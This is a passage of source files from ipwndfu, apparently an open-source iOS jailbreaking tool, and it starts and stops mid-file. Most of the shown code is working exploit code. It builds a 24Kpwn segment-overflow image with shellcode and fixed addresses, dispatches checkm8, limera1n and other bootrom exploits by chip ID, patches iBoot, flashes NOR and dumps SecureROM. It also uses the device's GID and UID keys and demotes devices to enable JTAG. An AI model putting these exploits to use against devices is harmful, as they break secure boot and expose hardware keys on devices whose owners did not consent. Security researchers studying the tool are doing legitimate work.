recovery.release_device(device)\n\n    def flash_nor(self, nor):\n        self.boot_ibss()\n        print 'Sending iBSS payload to flash NOR.'\n        MAX_SHELLCODE_LENGTH = 128\n        payload = open('bin/ibss-flash-nor-shellcode.bin', 'rb').read()\n        assert len(payload) <= MAX_SHELLCODE_LENGTH\n        payload += '\\x00' * (MAX_SHELLCODE_LENGTH - len(payload)) + nor\n\n        device = recovery.acquire_device()\n        assert 'CPID:8920' in device.serial_number\n        recovery.send_data(device, payload)\n        try:\n            print 'Sending run command.'\n            recovery.send_command(device, 'run')\n        except usb.core.USBError:\n            # OK\n            pass\n            #print 'Caught USBError; should still work.'\n        recovery.release_device(device)\n        print 'If screen is not red, NOR was flashed successfully and device will reboot.'\n\n    def decrypt_keybag(self, keybag):\n        KEYBAG_LENGTH = 48\n        assert len(keybag) == KEYBAG_LENGTH\n\n        KEYBAG_FILENAME = 'aes-keys/S5L%s-firmware' % self.config.cpid\n        try:\n            f = open(KEYBAG_FILENAME, 'rb')\n            data = f.read()\n            f.close()\n        except IOError:\n            data = str()\n        assert len(data) % 2 * KEYBAG_LENGTH == 0\n\n        for i in range(0, len(data), 2 * KEYBAG_LENGTH):\n            if keybag == data[i:i+KEYBAG_LENGTH]:\n                return data[i+KEYBAG_LENGTH:i+2*KEYBAG_LENGTH]\n\n        device = PwnedDFUDevice()\n        decrypted_keybag = device.aes(keybag, AES_DECRYPT, AES_GID_KEY)\n\n        f = open(KEYBAG_FILENAME, 'a')\n        f.write(keybag + decrypted_keybag)\n        f.close()\n\n        return decrypted_keybag"
  },
  {
    "path": "ibootpatcher",
    "content": "#!/usr/bin/python\n# ibootpatcher: patch assembly code in iBoot binaries\n# Author: axi0mX\n\nimport argparse, struct, sys\n\ndef arm64_branch_instruction(src, dest):\n  if src > dest:\n    value = 0x18000000 - (src - dest) / 4\n  else:\n    value = 0x14000000 + (dest - src) / 4\n  return struct.pack('<I', value)\n\nMSR_VBAR_EL3_X10      = '\\x0A\\xC0\\x1E\\xD5'\nMSR_VBAR_EL1_X10      = '\\x0A\\xC0\\x18\\xD5'\n\nMRS_X0_SCTLR_EL3      = '\\x00\\x10\\x3E\\xD5'\nMRS_X0_SCTLR_EL1      = '\\x00\\x10\\x38\\xD5'\n\nMSR_SCTLR_EL3_X0      = '\\x00\\x10\\x1E\\xD5'\nMSR_SCTLR_EL1_X0      = '\\x00\\x10\\x18\\xD5'\n\nMSR_SCR_EL3_X0        = '\\x00\\x11\\x1E\\xD5'\n\nMSR_MAIR_EL3_X0       = '\\x00\\xA2\\x1E\\xD5'\nMSR_MAIR_EL1_X0       = '\\x00\\xA2\\x18\\xD5'\n\nMSR_TCR_EL3_X0        = '\\x40\\x20\\x1E\\xD5'\nMSR_TCR_EL1_X0        = '\\x40\\x20\\x18\\xD5'\n\nMSR_TTBR0_EL3_X0      = '\\x00\\x20\\x1E\\xD5'\nMSR_TTBR0_EL1_X0      = '\\x00\\x20\\x18\\xD5'\n\nTLBI_ALLE3            = '\\x1F\\x87\\x0E\\xD5'\nTLBI_ALLE1            = '\\x9F\\x87\\x0C\\xD5'\n\nTLBI_VMALLE1          = '\\x1F\\x87\\x08\\xD5'\n\nMRS_X30_ELR_EL3       = '\\x3E\\x40\\x3E\\xD5'\nMRS_X30_ELR_EL1       = '\\x3E\\x40\\x38\\xD5'\n\nMRS_X1_ESR_EL3        = '\\x01\\x52\\x3E\\xD5'\nMRS_X1_ESR_EL1        = '\\x01\\x52\\x38\\xD5'\n\nMRS_X1_FAR_EL3        = '\\x01\\x60\\x3E\\xD5'\nMRS_X1_FAR_EL1        = '\\x01\\x60\\x38\\xD5'\n\nMRS_X2_ESR_EL3        = '\\x02\\x52\\x3E\\xD5'\nMRS_X2_ESR_EL1        = '\\x02\\x52\\x38\\xD5'\n\nMRS_X2_SPSR_EL3       = '\\x02\\x40\\x3E\\xD5'\nMRS_X2_SPSR_EL1       = '\\x02\\x40\\x38\\xD5'\n\nMSR_ELR_EL3_X0        = '\\x20\\x40\\x1E\\xD5'\nMSR_ELR_EL1_X0        = '\\x20\\x40\\x18\\xD5'\n\nMSR_SPSR_EL3_X1       = '\\x01\\x40\\x1E\\xD5'\nMSR_SPSR_EL1_X1       = '\\x01\\x40\\x18\\xD5'\n\nMRS_X2_SCTLR_EL3      = '\\x02\\x10\\x3E\\xD5'\nMRS_X2_SCTLR_EL1      = '\\x02\\x10\\x38\\xD5'\n\nMSR_SCTLR_EL3_X1      = '\\x01\\x10\\x1E\\xD5'\nMSR_SCTLR_EL1_X1      = '\\x01\\x10\\x18\\xD5'\n\nMSR_ELR_EL2_XZR       = '\\x3F\\x40\\x1C\\xD5'\nMSR_ELR_EL3_XZR       = '\\x3F\\x40\\x1E\\xD5'\n\nMSR_SPSR_EL2_XZR      = '\\x1F\\x40\\x1C\\xD5'\nMSR_SPSR_EL3_XZR      = '\\x1F\\x40\\x1E\\xD5'\n\nMSR_SP_EL1_XZR        = '\\x1F\\x41\\x1C\\xD5'\nMSR_SP_EL2_XZR        = '\\x1F\\x41\\x1E\\xD5'\n\nARM64_NOP             = '\\x1F\\x20\\x03\\xD5'\nORR_X0_X0_0x800000    = '\\x00\\x00\\x69\\xB2'\nORR_X0_X0_0x10000000  = '\\x00\\x00\\x60\\xB2'\nISB                   = '\\xDF\\x3F\\x03\\xD5'\nRET                   = '\\xC0\\x03\\x5F\\xD6'\n\ndef apply_tcr_el3_patch(binary):\n  for i in range(0, len(binary), 4):\n    if binary[i:i+4] == MSR_TCR_EL3_X0:\n      binary = binary[:i] + arm64_branch_instruction(i, 0x1EC) + binary[i+4:]\n      binary = binary[:0x1EC] + ORR_X0_X0_0x10000000 + ORR_X0_X0_0x800000 + MSR_TCR_EL1_X0 + ISB + RET + binary[0x200:]\n\n      print 'TCR_EL3 patch: 0x%x' % i\n      return binary\n\n  print 'ERROR: Could not find MSR TCR_EL3, X0 instruction.'\n  sys.exit(1)\n\ndef apply_generic_el3_patches(binary):\n  el3_patches = [\n    (MSR_VBAR_EL3_X10, MSR_VBAR_EL1_X10),\n    (MRS_X0_SCTLR_EL3, MRS_X0_SCTLR_EL1),\n    (MSR_SCTLR_EL3_X0, MSR_SCTLR_EL1_X0),\n    (MSR_SCR_EL3_X0,   ARM64_NOP),         # there is no EL1 equivalent\n    (MSR_MAIR_EL3_X0,  MSR_MAIR_EL1_X0),\n    (MSR_TTBR0_EL3_X0, MSR_TTBR0_EL1_X0),\n    (MRS_X30_ELR_EL3,  MRS_X30_ELR_EL1),\n    (MRS_X1_ESR_EL3,   MRS_X1_ESR_EL1),\n    (MRS_X1_FAR_EL3,   MRS_X1_FAR_EL1),\n    (MRS_X2_ESR_EL3,   MRS_X2_ESR_EL1),\n    (MRS_X2_SPSR_EL3,  MRS_X2_SPSR_EL1),\n    (MSR_ELR_EL3_X0,   MSR_ELR_EL1_X0),\n    (MSR_SPSR_EL3_X1,  MSR_SPSR_EL1_X1),\n    (MRS_X2_SCTLR_EL3, MRS_X2_SCTLR_EL1),\n    (TLBI_ALLE3,       TLBI_VMALLE1),      # TODO: why not TLBI VMALLE1?\n    (MSR_SCTLR_EL3_X1, MSR_SCTLR_EL1_X1),\n    (MSR_ELR_EL2_XZR,  ARM64_NOP),\n    (MSR_ELR_EL3_XZR,  ARM64_NOP),\n    (MSR_SPSR_EL2_XZR, ARM64_NOP),\n    (MSR_SPSR_EL3_XZR, ARM64_NOP),\n    (MSR_SP_EL1_XZR,   ARM64_NOP),\n    (MSR_SP_EL2_XZR,   ARM64_NOP),\n  ]\n\n  for i in range(0, len(binary), 4):\n    for (before, after) in el3_patches:\n      if binary[i:i+4] == before:\n        binary = binary[:i] + after + binary[i+4:]\n        print 'Generic EL3 patch: 0x%x' % i\n        break\n\n  return binary\n\nif __name__ == '__main__':\n  parser = argparse.ArgumentParser()\n  parser.add_argument('-i', help='input filename', required=True)\n  parser.add_argument('--el1', action='store_true', help=\"make iBoot64 compatible with EL1 (iOS 7.0 - 9.3.5)\")\n  args = parser.parse_args()\n\n  if args.el1:\n    with open(args.i, 'rb') as f:\n      binary = f.read()\n      binary = apply_generic_el3_patches(binary)\n      binary = apply_tcr_el3_patch(binary)\n      filename = args.i + '.patched'\n      with open(filename, 'wb') as out:\n        out.write(binary)\n      print 'Saved:', filename\n  else:\n    print 'No patches requested.'\n"
  },
  {
    "path": "image3.py",
    "content": "import binascii, struct\nimport dfuexec, utilities\n\nclass Image3:\n    def __init__(self, data):\n        (self.magic, self.totalSize, self.dataSize, self.signedSize, self.type) = struct.unpack('4s3I4s', data[0:20])\n        self.tags = []\n        pos = 20\n        while pos < 20 + self.dataSize:\n            (tagMagic, tagTotalSize, tagDataSize) = struct.unpack('4s2I', data[pos:pos+12])\n            self.tags.append((tagMagic, tagTotalSize, tagDataSize, data[pos+12:pos+tagTotalSize]))\n            pos += tagTotalSize\n            if tagTotalSize == 0:\n                break\n\n    @staticmethod\n    def createImage3FromTags(type, tags):\n        dataSize = 0\n        signedSize = 0\n        for (tagMagic, tagTotalSize, tagDataSize, tagData) in tags:\n            dataSize += 12 + len(tagData)\n            if tagMagic[::-1] not in ['CERT', 'SHSH']:\n                signedSize += 12 + len(tagData)\n\n        # totalSize must be rounded up to 64-byte boundary\n        totalSize = 20 + dataSize\n        remainder = totalSize % 64\n        if remainder != 0:\n            totalSize += 64 - remainder\n\n        bytes = struct.pack('4s3I4s', 'Img3'[::-1], totalSize, dataSize, signedSize, type)\n        for (tagMagic, tagTotalSize, tagDataSize, tagData) in tags:\n            bytes += struct.pack('4s2I', tagMagic, tagTotalSize, tagDataSize) + tagData\n        return bytes + '\\x00' * (totalSize - len(bytes))\n\n    def getTags(self, magic):\n        matches = []\n        for tag in self.tags:\n            if tag[0] == magic:\n                matches.append(tag)\n        return matches\n\n    def getKeybag(self):\n        keybags = self.getTags('KBAG'[::-1])\n        for (tagMagic, tagTotalSize, tagDataSize, tagData) in keybags:\n            (kbag_type, aes_type) = struct.unpack('<2I', tagData[:8])\n            if kbag_type == 1:\n                return tagData[8:8+48]\n        return None\n\n    def getPayload(self):\n        data = self.getTags('DATA'[::-1])\n        if len(data) == 1:\n            return data[0][3]\n\n    def getDecryptedPayload(self):\n        keybag = self.getKeybag()\n        device = dfuexec.PwnedDFUDevice()\n        decrypted_keybag = device.decrypt_keybag(keybag)\n        return utilities.aes_decrypt(self.getPayload(), binascii.hexlify(decrypted_keybag[:16]), binascii.hexlify(decrypted_keybag[16:]))\n\n    def shrink24KpwnCertificate(self):\n        for i in range(len(self.tags)):\n            tag = self.tags[i]\n            if tag[0] == 'CERT'[::-1] and len(tag[3]) >= 3072:\n                data = tag[3][:3072]\n                assert data[-1] == '\\x00'\n                data = data.rstrip('\\x00')\n                self.tags[i] = ('CERT'[::-1], 12 + len(data), len(data), data)\n                break\n\n    def newImage3(self, decrypted=True):\n        typeTag = self.getTags('TYPE'[::-1])\n        assert len(typeTag) == 1\n        versTag = self.getTags('VERS'[::-1])\n        assert len(versTag) <= 1\n        dataTag = self.getTags('DATA'[::-1])\n        assert len(dataTag) == 1\n        sepoTag = self.getTags('SEPO'[::-1])\n        assert len(sepoTag) <= 2\n        bordTag = self.getTags('BORD'[::-1])\n        assert len(bordTag) <= 2\n        kbagTag = self.getTags('KBAG'[::-1])\n        assert len(kbagTag) <= 2\n        shshTag = self.getTags('SHSH'[::-1])\n        assert len(shshTag) <= 1\n        certTag = self.getTags('CERT'[::-1])\n        assert len(certTag) <= 1\n\n        (tagMagic, tagTotalSize, tagDataSize, tagData) = dataTag[0]\n        if len(kbagTag) > 0 and decrypted:\n          newTagData = self.getDecryptedPayload()\n          kbagTag = []\n        else:\n          newTagData =  tagData\n        assert len(tagData) == len(newTagData)\n\n        return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, newTagData)] + versTag + sepoTag + bordTag + kbagTag + shshTag + certTag)\n"
  },
  {
    "path": "image3_24Kpwn.py",
    "content": "# Credit: This file is based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al.\n\nimport struct\nimport image3\n\ndef exploit(img3, securerom):\n    with open('bin/24Kpwn-shellcode.bin', 'rb') as f:\n        shellcode = f.read()\n    MAX_SHELLCODE_LENGTH = 1024\n    assert len(shellcode) <= MAX_SHELLCODE_LENGTH\n\n    # Check IMG3 constraints.\n    (img3_magic, total_size, data_size, signed_size, magic) = struct.unpack('<4s3I4s', img3[:20])\n    assert img3_magic == 'Img3'[::-1] and signed_size != 0 and magic == 'illb'[::-1]\n    assert  total_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12\n    assert   data_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20\n    assert signed_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20\n    assert 20 + signed_size + 4 <= len(img3) and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1]\n\n    PADDING = 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - (20 + signed_size + 12)\n    SHELLCODE_ADDRESS = 0x84000000 + 1 + (20 + signed_size + 12 + PADDING)\n    STACK_ADDRESS = 0x84033EA4\n    img3 = struct.pack('<4s3I4s', 'Img3'[::-1], 0x24200, 0x241BC, 0x23F88, 'illb'[::-1]) + img3[20:20 + signed_size] \\\n         + struct.pack('4s2I%sx' % PADDING, '24KP'[::-1], 12 + PADDING + len(shellcode) + 4, PADDING + len(shellcode) + 4) + shellcode \\\n         + struct.pack('<I4s2I64x4s2I', SHELLCODE_ADDRESS, 'SHSH'[::-1], 12 + 64, 64, 'CERT'[::-1], 12, 0) \\\n         + struct.pack('<4s2I460sI48x', '24KP'[::-1], 12 + 512, 512, securerom[0xB000:0xB000 + 460], STACK_ADDRESS)\n    assert len(img3) == 0x24200\n    return img3\n\ndef remove_exploit(img3):\n    assert len(img3) > 0x24000\n    assert img3[16:20] == 'illb'[::-1]\n\n    obj = image3.Image3(img3)\n    if obj.getDecryptedPayload()[:4] != '\\x0e\\x00\\x00\\xea':\n        # This is a 24Kpwn implementation which changes DATA tag. First dword of DATA tag should look like a shellcode address.\n        shellcode_address, = struct.unpack('<I', img3[64:68])\n        assert img3[52:56] == 'DATA'[::-1]\n        assert 0x84000000 <= shellcode_address and shellcode_address <= 0x84024000\n\n        # Try to find the correct value for the first dword.\n        found = False\n        for pos in xrange(shellcode_address - 0x84000000, len(img3)):\n            obj = image3.Image3(img3[:64] + img3[pos:pos + 4] + img3[68:])\n            if obj.getDecryptedPayload()[:4] == '\\x0e\\x00\\x00\\xea':\n                found = True\n                break\n        assert found\n\n    obj.shrink24KpwnCertificate()\n\n    img3 = obj.newImage3(decrypted=False)\n    assert len(img3) <= 0x24000\n    return img3\n"
  },
  {
    "path": "ipwndfu",
    "content": "#!/usr/bin/python\n# ipwndfu: open-source jailbreaking tool for older iOS devices\n# Author: axi0mX\n\nimport binascii, datetime, getopt, hashlib, struct, sys, time\nimport dfu, nor, utilities\nimport alloc8, checkm8, image3_24Kpwn, limera1n, SHAtter, steaks4uce, usbexec\nfrom dfuexec import *\n\ndef print_help():\n    print 'USAGE: ipwndfu [options]'\n    print 'Interact with an iOS device in DFU Mode.\\n'\n    print 'Basic options:'\n    print '  -p\\t\\t\\t\\tUSB exploit for pwned DFU Mode'\n    print '  -x\\t\\t\\t\\tinstall alloc8 exploit to NOR'\n    print '  -f file\\t\\t\\tsend file to device in DFU Mode'\n    print 'Advanced options:'\n    print '  --demote\\t\\t\\tdemote device to enable JTAG'\n    print '  --dump=address,length\\t\\tdump memory to stdout'\n    print '  --hexdump=address,length\\thexdump memory to stdout'\n    print '  --dump-rom\\t\\t\\tdump SecureROM'\n    print '  --dump-nor=file\\t\\tdump NOR to file'\n    print '  --flash-nor=file\\t\\tflash NOR (header and firmware only) from file'\n    print '  --24kpwn\\t\\t\\tinstall 24Kpwn exploit to NOR'\n    print '  --remove-24kpwn\\t\\tremove 24Kpwn exploit from NOR'\n    print '  --remove-alloc8\\t\\tremove alloc8 exploit from NOR'\n    print '  --decrypt-gid=hexdata\\t\\tAES decrypt with GID key'\n    print '  --encrypt-gid=hexdata\\t\\tAES encrypt with GID key'\n    print '  --decrypt-uid=hexdata\\t\\tAES decrypt with UID key'\n    print '  --encrypt-uid=hexdata\\t\\tAES encrypt with UID key'\n\nif __name__ == '__main__':\n    try:\n        advanced = ['demote', 'dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'remove-24kpwn', 'remove-alloc8', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'encrypt-uid=']\n        opts, args = getopt.getopt(sys.argv[1:], 'pxf:', advanced)\n    except getopt.GetoptError:\n        print 'ERROR: Invalid arguments provided.'\n        print_help()\n        sys.exit(2)\n\n    if len(opts) == 0:\n        print_help()\n        sys.exit(2)\n\n    for opt, arg in opts:\n        if opt == '-p':\n            device = dfu.acquire_device()\n            serial_number = device.serial_number\n            dfu.release_device(device)\n\n            if 'CPID:8720' in serial_number:\n                steaks4uce.exploit()\n            elif 'CPID:8920' in serial_number:\n                limera1n.exploit()\n            elif 'CPID:8922' in serial_number:\n                limera1n.exploit()\n            elif 'CPID:8930' in serial_number:\n                SHAtter.exploit()\n            elif 'CPID:8947' in serial_number:\n                checkm8.exploit()\n            elif 'CPID:8950' in serial_number:\n                checkm8.exploit()\n            elif 'CPID:8955' in serial_number:\n                checkm8.exploit()\n            elif 'CPID:8960' in serial_number:\n                checkm8.exploit()\n            elif 'CPID:8002' in serial_number:\n                checkm8.exploit()\n            elif 'CPID:8004' in serial_number:\n                checkm8.exploit()\n            elif 'CPID:8010' in serial_number:\n                checkm8.exploit()\n            elif 'CPID:8011' in serial_number:\n                checkm8.exploit()\n            elif 'CPID:8015' in serial_number:\n                checkm8.exploit()\n            else:\n                print 'Found:', serial_number\n                print 'ERROR: This device is not supported.'\n                sys.exit(1)\n\n        if opt == '-x':\n            device = PwnedDFUDevice()\n            if device.config.cpid != '8920':\n                print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'\n                sys.exit(1)\n\n            if device.config.version == '359.3':\n                print 'WARNING: iPhone 3GS (old bootrom) was detected. Use 24Kpwn exploit for faster boots, alloc8 exploit is for testing purposes only.'\n                raw_input(\"Press ENTER to continue.\")\n\n            print 'Installing alloc8 exploit to NOR.'\n\n            dump = device.nor_dump(saveBackup=True)\n\n            nor = nor.NorData(dump)\n\n            for byte in nor.parts[1]:\n                if byte != '\\x00':\n                    print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'\n                    sys.exit(1)\n            if len(nor.images) == 0 or len(nor.images[0]) < 0x24000:\n                print 'ERROR: 24Kpwn LLB was not found. You must restore a custom 24Kpwn IPSW before using this exploit.'\n                sys.exit(1)\n\n            print 'Preparing modified NOR with alloc8 exploit.'\n            # Remove 24Kpwn first.\n            nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])\n            new_nor = alloc8.exploit(nor, device.config.version)\n            device.flash_nor(new_nor.dump())\n\n        if opt == '-f':\n            try:\n                with open(arg, 'rb') as f:\n                    data = f.read()\n            except IOError:\n                print 'ERROR: Could not read file:', arg\n                sys.exit(1)\n\n            device = dfu.acquire_device()\n            dfu.reset_counters(device)\n            dfu.send_data(device, data)\n            dfu.request_image_validation(device)\n            dfu.release_device(device)\n\n        if opt == '--demote':\n            device = dfu.acquire_device()\n            serial_number = device.serial_number\n            dfu.release_device(device)\n\n            if 'PWND:[checkm8]' in serial_number:\n                pwned = usbexec.PwnedUSBDevice()\n                old_value = pwned.read_memory_uint32(pwned.platform.demotion_reg)\n                print 'Demotion register: 0x%x' % old_value\n                if old_value & 1:\n                    print 'Attempting to demote device.'\n                    pwned.write_memory_uint32(pwned.platform.demotion_reg, old_value & 0xFFFFFFFE)\n                    new_value = pwned.read_memory_uint32(pwned.platform.demotion_reg)\n                    print 'Demotion register: 0x%x' % new_value\n                    if old_value != new_value:\n                        print 'Success!'\n                    else:\n                        print 'Failed.'\n                else:\n                    print 'WARNING: Device is already demoted.'\n            else:\n                print 'ERROR: Demotion is only supported on devices pwned with checkm8 exploit.'\n                sys.exit(1)\n\n        if opt == '--dump':\n            if arg.count(',') != 1:\n                print 'ERROR: You must provide exactly 2 comma separated values: address,length'\n                sys.exit(1)\n            raw_address, raw_length = arg.split(',')\n            address = int(raw_address, 16) if raw_address.startswith('0x') else int(raw_address, 10)\n            length = int(raw_length, 16) if raw_length.startswith('0x') else int(raw_length, 10)\n\n            device = dfu.acquire_device()\n            serial_number = device.serial_number\n            dfu.release_device(device)\n\n            if 'PWND:[checkm8]' in serial_number:\n                device = usbexec.PwnedUSBDevice()\n                sys.stdout.write(device.read_memory(address, length))\n            else:\n                device = PwnedDFUDevice()\n                print device.read_memory(address, length)\n\n        if opt == '--hexdump':\n            if arg.count(',') != 1:\n                print 'ERROR: You must provide exactly 2 comma separated values: address,length'\n                sys.exit(1)\n            raw_address, raw_length = arg.split(',')\n            address = int(raw_address, 16) if raw_address.startswith('0x') else int(raw_address, 10)\n            length = int(raw_length, 16) if raw_length.startswith('0x') else int(raw_length, 10)\n\n            device = dfu.acquire_device()\n            serial_number = device.serial_number\n            dfu.release_device(device)\n\n            if 'PWND:[checkm8]' in serial_number:\n                device = usbexec.PwnedUSBDevice()\n                dump = device.read_memory(address, length)\n                for line in utilities.hex_dump(dump, address).splitlines():\n                    print '%x: %s' % (address, line[10:])\n                    address += 16\n            else:\n                device = PwnedDFUDevice()\n                dump = device.read_memory(address, length)\n                print utilities.hex_dump(dump, address),\n\n        if opt == '--dump-rom':\n            device = dfu.acquire_device()\n            serial_number = device.serial_number\n            dfu.release_device(device)\n\n            if 'PWND:[checkm8]' in serial_number:\n                pwned = usbexec.PwnedUSBDevice()\n                securerom = pwned.read_memory(pwned.platform.rom_base, pwned.platform.rom_size)\n                if hashlib.sha1(securerom).hexdigest() != pwned.platform.rom_sha1:\n                    print hashlib.sha1(securerom).hexdigest()\n                    print 'ERROR: SecureROM was dumped, but the SHA1 hash does not match. Exiting.'\n                    sys.exit(1)\n                chip    = securerom[0x200:0x240].split(' ')[2][:-1]\n                kind    = securerom[0x240:0x280].split('\\0')[0]\n                version = securerom[0x280:0x2C0].split('\\0')[0][6:]\n                filename = 'SecureROM-%s-%s-%s.dump' % (chip, version, kind)\n                with open(filename, 'wb') as f:\n                    f.write(securerom)\n                print 'Saved:', filename\n            else:\n                device = PwnedDFUDevice()\n                securerom = device.securerom_dump()\n                filename = 'SecureROM-%s-RELEASE.dump' % device.config.version\n                f = open(filename, 'wb')\n                f.write(securerom)\n                f.close()\n                print 'SecureROM dumped to file:', filename\n\n        if opt == '--dump-nor':\n            device = PwnedDFUDevice()\n            if device.config.cpid != '8920':\n                print 'This is not a compatible device. Dumping NOR is only supported on iPhone 3GS.'\n                sys.exit(1)\n            nor = device.nor_dump(saveBackup=False)\n            f = open(arg, 'wb')\n            f.write(nor)\n            f.close()\n            print 'NOR dumped to file: %s' % arg\n\n        if opt == '--flash-nor':\n            print 'Flashing NOR from file:', arg\n            f = open(arg, 'rb')\n            new_nor = f.read()\n            f.close()\n            if new_nor[:4] != 'IMG2'[::-1]:\n                print 'ERROR: Bad IMG2 header magic. This is not a valid NOR. Exiting.'\n                sys.exit(1)\n\n            device = PwnedDFUDevice()\n            if device.config.cpid != '8920':\n                print 'This is not a compatible device. Flashing NOR is only supported on iPhone 3GS.'\n                sys.exit(1)\n            device.nor_dump(saveBackup=True)\n            device.flash_nor(new_nor)\n\n        if opt == '--24kpwn':\n            print '*** based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. ***'\n\n            device = PwnedDFUDevice()\n            if device.config.version != '359.3':\n                print 'Only iPhone 3GS (old bootrom) is supported.'\n                sys.exit(1)\n\n            dump = device.nor_dump(saveBackup=True)\n\n            print 'Preparing modified NOR with 24Kpwn exploit.'\n            nor = nor.NorData(dump)\n            for byte in nor.parts[1]:\n                if byte != '\\x00':\n                    print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'\n                    sys.exit(1)\n            if len(nor.images) == 0:\n                print 'ERROR: 24Kpwn exploit cannot be installed, because NOR has no valid LLB. Exiting.'\n                sys.exit(1)\n\n            # Remove existing 24Kpwn exploit.\n            if len(nor.images[0]) > 0x24000:\n                nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])\n            nor.images[0] = image3_24Kpwn.exploit(nor.images[0], device.securerom_dump())\n            device.flash_nor(nor.dump())\n\n        if opt == '--remove-24kpwn':\n            device = PwnedDFUDevice()\n            if device.config.cpid != '8920':\n                print 'This is not a compatible device. 24Kpwn exploit is only supported on iPhone 3GS.'\n                sys.exit(1)\n\n            print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'\n            raw_input(\"Press ENTER to continue.\")\n\n            dump = device.nor_dump(saveBackup=True)\n\n            nor = nor.NorData(dump)\n\n            if len(nor.images) == 0:\n                print 'ERROR: NOR has no valid LLB. It seems that 24Kpwn exploit is not installed. Exiting.'\n                sys.exit(1)\n            if len(nor.images[0]) <= 0x24000:\n                print 'ERROR: LLB is not oversized. It seems that 24Kpwn exploit is not installed. Exiting.'\n                sys.exit(1)\n\n            print 'Preparing modified NOR without 24Kpwn exploit.'\n            nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])\n            device.flash_nor(nor.dump())\n\n        if opt == '--remove-alloc8':\n            device = PwnedDFUDevice()\n            if device.config.cpid != '8920':\n                print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'\n                sys.exit(1)\n\n            print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'\n            raw_input(\"Press ENTER to continue.\")\n\n            dump = device.nor_dump(saveBackup=True)\n\n            nor = nor.NorData(dump)\n\n            if len(nor.images) < 700:\n                print 'ERROR: It seems that alloc8 exploit is not installed. There are less than 700 images in NOR. Exiting.'\n                sys.exit(1)\n\n            print 'Preparing modified NOR without alloc8 exploit.'\n            new_nor = alloc8.remove_exploit(nor)\n            device.flash_nor(new_nor.dump())\n\n        if opt == '--decrypt-gid':\n            device = dfu.acquire_device()\n            serial_number = device.serial_number\n            dfu.release_device(device)\n\n            if 'PWND:[checkm8]' in serial_number:\n                pwned = usbexec.PwnedUSBDevice()\n                print 'Decrypting with %s GID key.' % pwned.platform.name()\n                print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_GID_KEY).encode('hex')\n            else:\n                device = PwnedDFUDevice()\n                print 'Decrypting with S5L%s GID key.' % device.config.cpid\n                print device.aes_hex(arg, AES_DECRYPT, AES_GID_KEY)\n\n        if opt == '--encrypt-gid':\n            device = dfu.acquire_device()\n            serial_number = device.serial_number\n            dfu.release_device(device)\n\n            if 'PWND:[checkm8]' in serial_number:\n                pwned = usbexec.PwnedUSBDevice()\n                print 'Encrypting with %s GID key.' % pwned.platform.name()\n                print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_GID_KEY).encode('hex')\n            else:\n                device = PwnedDFUDevice()\n                print 'Encrypting with S5L%s GID key.' % device.config.cpid\n                print device.aes_hex(arg, AES_ENCRYPT, AES_GID_KEY)\n\n        if opt == '--decrypt-uid':\n            device = dfu.acquire_device()\n            serial_number = device.serial_number\n            dfu.release_device(device)\n\n            if 'PWND:[checkm8]' in serial_number:\n                pwned = usbexec.PwnedUSBDevice()\n                print 'Decrypting with %s device-specific UID key.' % pwned.platform.name()\n                print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_UID_KEY).encode('hex')\n            else:\n                device = PwnedDFUDevice()\n                print 'Decrypting with device-specific UID key.'\n                print device.aes_hex(arg, AES_DECRYPT, AES_UID_KEY)\n\n        if opt == '--encrypt-uid':\n            device = dfu.acquire_device()\n            serial_number = device.serial_number\n            dfu.release_device(device)\n\n            if 'PWND:[checkm8]' in serial_number:\n                pwned = usbexec.PwnedUSBDevice()\n                print 'Encrypting with %s device-specific UID key.' % pwned.platform.name()\n                print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_UID_KEY).encode('hex')\n            else:\n                device = PwnedDFUDevice()\n                print 'Encrypting with device-specific UID key.'\n                print device.aes_hex(arg, AES_ENCRYPT, AES_UID_KEY)\n"
  },
  {
    "path": "ipwnrecovery",
    "content": "#!/usr/bin/python\n# ipwnrecovery: open-source jailbreaking tool for older iOS devices\n# Author: axi0mX\n\nimport getopt, sys\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport recovery\n\ndef print_help():\n    print 'USAGE: ipwnrecovery [options]'\n    print 'Interact with an iOS device in Recovery Mode.\\n'\n    print 'Basic options:'\n    print '  -c cmd\\t\\t\\trun command on device'\n    print '  -f file\\t\\t\\tsend file to device in Recovery Mode'\n    print 'Advanced options:'\n    print '  --enable-uart\\t\\t\\tset debug-uarts to 3 and reboot device'\n    print '  --exit-recovery-loop\\t\\tenable auto-boot and reboot device'\n\nif __name__ == '__main__':\n    try:\n        advanced = ['exit-recovery-loop', 'enable-uart']\n        opts, args = getopt.getopt(sys.argv[1:], 'c:f:', advanced)\n    except getopt.GetoptError:\n        print 'ERROR: Invalid arguments provided.'\n        print_help()\n        sys.exit(2)\n\n    if len(opts) == 0:\n        print_help()\n        sys.exit(2)\n\n    for opt, arg in opts:\n        if opt == '-c':\n            device = recovery.acquire_device()\n            try:\n                recovery.send_command(device, arg)\n            except usb.core.USBError:\n                print 'WARNING: Caught USBError after running command.'\n            